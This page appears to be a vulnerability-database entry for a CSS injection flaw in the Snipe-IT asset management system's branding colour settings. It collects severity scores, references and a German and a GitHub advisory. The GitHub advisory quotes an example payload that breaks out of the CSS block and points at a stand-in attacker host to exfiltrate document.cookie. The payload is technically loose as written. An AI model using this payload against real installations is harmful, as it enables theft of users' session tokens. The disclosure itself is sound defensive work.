CVE-2026-55481
mediumpriority · track · 19EPSS 0.003 · 24 %ileDEEUUSEPSS · scored 2026-10-27
Snipe-IT is an IT asset/license management system. Prior to 8.6.2, default.blade.php renders header_color and related branding color settings inside a CSS style block with HTML escaping that is insufficient for the CSS context, allowing a superadmin to inject arbitrary CSS that affects authenticated users on subsequent page loads when Content Security Policy is disabled. This issue is fixed in version 8.6.2.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 2.2–6.2
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-2144Snipe-IT: Schwachstelle ermöglicht Offenlegung von InformationenDeutsch2026-06-30csaf · cert_bundDE
Ein Angreifer kann eine Schwachstelle in Snipe-IT ausnutzen, um Informationen offenzulegen.
- GHSA-w7qw-5wfv-gwx9Snipe-IT has CSS Injection via `header_color` Setting2026-08-28ghsa · osvUS
### Impact Because `default.blade.php` is the base layout loaded on every authenticated page, all active user sessions are affected immediately upon the next page load after the payload is saved. An attacker who has compromised an admin account (or who is a malicious insider) can use this to silently exfiltrate session tokens from all other users, including other administrators. Additionally, the Content Security Policy is disabled by default in Snipe-IT installations, which removes the primary browser-level mitigation for this class of attack. ### Details The `header_color` setting (and related color settings such as `nav_color` and `link_color`) is rendered inside a CSS `<style>` block using Laravel's `{{ }}` syntax: ``` --main-theme-color: {{ $snipeSettings->header_color ?? '#3c8dbc' }}; ``` Although `{{ }}` applies HTML entity encoding, this is insufficient in a CSS context. An attacker with superadmin access to the `Settings > Branding` page can inject arbitrary CSS by setting the `header_color` value to something like: ``` #fff; } body { background: url('[https://attacker.com/exfil?c='+document.cookie](https://attacker.com/exfil?c=%27+document.cookie)); } .x { ``` This breaks out of the CSS property value and injects a new rule that executes in the context of every authenticated user's browser on every page load. ### Patches Patched in https://github.com/grokability/snipe-it/pull/19097 ### Workarounds Enable CSP in your .env file.
also known as (2)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (13)
External citations — patches, advisories, analysis.
- https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40cnnvd
- https://github.com/grokability/snipe-it/pull/19097cnnvd
- https://github.com/grokability/snipe-it/releasesPatchcnnvd
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2cnnvd
- https://github.com/grokability/snipe-it/security/advisories/GHSA-w7qw-5wfv-gwx9cnnvd
- https://github.com/grokability/snipe-it/commit/c31190a128ec96fb34000a2f27eae198b1a51d40enisa_euvd
- https://github.com/grokability/snipe-it/pull/19097enisa_euvd
- https://github.com/grokability/snipe-it/releases/tag/v8.6.2enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan